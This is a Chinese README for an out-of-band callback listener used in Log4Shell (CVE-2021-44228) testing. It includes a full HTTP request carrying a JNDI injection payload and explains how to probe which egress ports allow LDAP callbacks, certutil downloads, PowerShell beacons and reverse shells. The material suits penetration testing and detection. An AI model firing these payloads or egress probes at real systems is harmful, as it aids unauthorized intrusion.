搭配log4j2burpscanner参考这里
项目中的jar包为log4j(CVE-2021-44228)环境 触发漏洞的请求包为:
GET /cvetext?cmd=$%7bjndi:dns://xxxxx.dnslog.cn%7d HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
用于解决判断出网情况的问题,以http、ldap、rmi以及socket形式批量监听端口,在web界面进行结果查看,结果呈现形式类似dnslog,可用于内网log4j(CVE-2021-44228)等漏洞的检测,默认访问http://x.x.x.x:65535/resp
即可查看到请求
- http请求
- ldap请求
- rmi请求
用法:
-ps , ports start 端口组监听,开始
-pe , ports end 端口组监听,结束
-pn ,port ,exp:22,3306,8443 指定端口监听
-wp ,wport ,exp: 65535 指定端口运行http服务查看结果
-t, token, exp: f0ng 指定token
- windows可直接运行
- linux需要安装musl-libc-static
Ubuntu
apt install musl-tools
Centos
get https://copr.fedorainfracloud.org/coprs/ngompa/musl-libc/repo/epel-7/ngompa-musl-libc-epel-7.repo -O /etc/yum.repos.d/ngompa-musl-libc-epel-7.repo
yum install -y musl-libc-static
web页面进行查询
words参数,根据内容查询请求,exp: words=/index
ip参数,根据ip查询请求,exp: ip=127.0.0.1
port参数,根据端口查询请求,exp: port=8081
protocol参数,根据协议查询请求,exp: protocol=http
在log4j2(CVE-2021-44228)下,一般JNDIExpliot的1389等ldap的端口会禁止,那么可以使用该工具进行批量端口监听,然后在数据包内设置端口号为变量,查看端口通信接收情况(ldap),举例ldap监听情况(rmi同理):
在windows系统无法上传文件情况下,需要进行文件下载,如certutil落地文件、powershell上线等等,会遇到某些端口无法出网,可以将certuil探测的端口设置为变量,使用本工具进行监听,如下
在进行反弹shell的时候,有时会禁止一些目的端口访问,可以通过使用该工具进行批量端口监听,查看端口通信接收情况(socket)。